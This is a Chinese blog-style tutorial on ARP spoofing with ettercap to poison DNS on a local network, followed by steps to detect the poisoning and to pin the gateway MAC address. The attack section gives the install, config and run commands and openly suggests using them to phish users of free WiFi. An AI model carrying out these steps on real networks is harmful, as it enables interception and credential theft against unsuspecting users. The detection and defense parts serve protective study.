最近看了看一些教程,把笔记记录下来。今天讲的是通过ARP欺骗达到本地DNS污染的目的。可用于研究和钓鱼。所有都在Fedora 23下进行。
DNS污染是ARP欺骗的主要目的之一。本笔记仅用于欺骗本地网络,比如免费WiFi之类的,嘿嘿嘿。。。以下命令权限都是root。
欺骗
1. 安装ettercap
dnf install ettercap -y
2. 配置污染源
vim /etc/ettercap/etter.dns
编辑欺骗性的A记录和其他记录。
3. 开启服务
ettercap -T -q -i eth0 -P dns_spoof -M arp
-T: terminal
-q: quiet
-i: interface
-P: plugin
-M: man-in-middle-attack
4. 让别的客户端来访问你的钓鱼网站吧!
判断
在/etc/resolv.conf
下添加多行DNS服务器。
nameserver 8.8.8.8 nameserver 8.8.4.4 nameserver 4.2.2.1
通过查询DNS命令,你会发现一些问题。我们这里假设microsoft.com被钓鱼了。
nslookup microsoft.com
返回:
;; Got recursion not available from 8.8.8.8, trying next server ;; Got recursion not available from 8.8.4.4, trying next server server: 4.2.2.1 Address: 4.2.2.1#53 Name: microsoft.com Address: 107.170.40.56
多次查询,永远是最后一个DNS服务器返回。哪怕你resolv.conf里4.2.2.1你改了个假的IP。
但是查询一个普通网站,比如g.cn,ip138.com却没问题。
nslookup g.cn
Server: 8.8.8.8 Address: 8.8.8.8#53 Non-authoritive answer: Name: g.cn Address: 173.194.195.160
基本上就可以确认microsoft.com被钓鱼了。
防范
如果你已经在ARP的攻击之下了,那么可以用arping来探测网关的MAC地址。在我们的例子里,网关是192.168.0.1。
arping -I eth0 192.168.0.1
你会发现192.168.0.1会回复你多个地址,其中一个(一般是第一个,也是唯一一个)和别的不一样。这个地址多半是网关的正确MAC。
如果你目前并没有遭受ARP攻击,则只会回复你一个地址,也是正确的网关地址。
1. 创建ethers文件
touch /etc/ethers
内容为
192.168.0.1 ga:ng:ca:im:ac
把mac地址替换了,保存退出,回到terminal下。
2. 应用ethers
arp -f
服务器重启后失效,需要重新apply一下。